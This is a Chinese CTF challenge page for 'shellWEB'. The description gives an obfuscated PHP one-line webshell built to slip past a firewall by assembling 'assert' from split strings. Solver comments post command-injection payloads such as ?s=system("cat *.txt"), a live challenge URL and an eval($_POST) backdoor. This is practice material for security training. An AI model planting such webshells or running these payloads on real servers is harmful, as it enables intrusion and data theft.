shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 8962
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
eleven 5年前
举报

?s=system("cat *.txt")

回复 0
naihe567 5年前
举报

没法用POST的webshell，可以自己创建一个命令执行eval($_POST[‘xxx’]) 密码xxx

回复 1
mantou 5年前
举报

http://114.67.246.176:18711/?s=system(%22cat%20xxxxxxxx.txt%22)

回复 0
Y1rannn 5年前
举报

...没那么复杂啊，我直接s=system("")

回复 3
pest 5年前
举报

除了菜刀，还可以利用print_r(glob("*.*")) scandir() //作用能扫描文件夹下的目录和文件，返回值为所有文件名组成的一个数组 show_source() //显示文件源码 highlight_file() //和show_source()函数是一个意思 我直接复制的一个大佬的wp过来的。

回复 0
simpleboy 5年前
举报

解法还是很多的

回复 0
simpleboy 5年前
举报

命令执行了

回复 0
三分踯躅 5年前
举报

哇，真的有那么复杂吗，蚁剑都整上了，难道是我用assert命令执行的姿势太low了吗

回复 0
GGBond9527 5年前
举报

assert()代码执行漏洞

回复 1
xiaotan451 5年前
举报

我是肖彪

回复 3
xiaotan451 5年前
举报

@biaoxiao 我是流汗了

回复 0
biaoxiao 5年前
举报

嗯 你说得对

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(11)

解题动态

香克斯呀 攻破了该题 30分钟前
真打不动了 攻破了该题 8小时前
asdadas 攻破了该题 18小时前
16suiTDT 攻破了该题 19小时前
Zfc 攻破了该题 23小时前
Dal. 攻破了该题 23小时前
hhh小白 攻破了该题 1天前
Aosi 攻破了该题 1天前
15356624960 攻破了该题 1天前
秋叶沙沙 攻破了该题 2天前
小白d 攻破了该题 2天前
YIJIE 攻破了该题 2天前
isright 攻破了该题 3天前
suyifeim4 攻破了该题 3天前
Macolm 攻破了该题 3天前
cxkkammt 攻破了该题 3天前
wangyc 攻破了该题 3天前
hzydy0_0 攻破了该题 3天前
ABinsec 攻破了该题 3天前
J01h 攻破了该题 3天前
问题反馈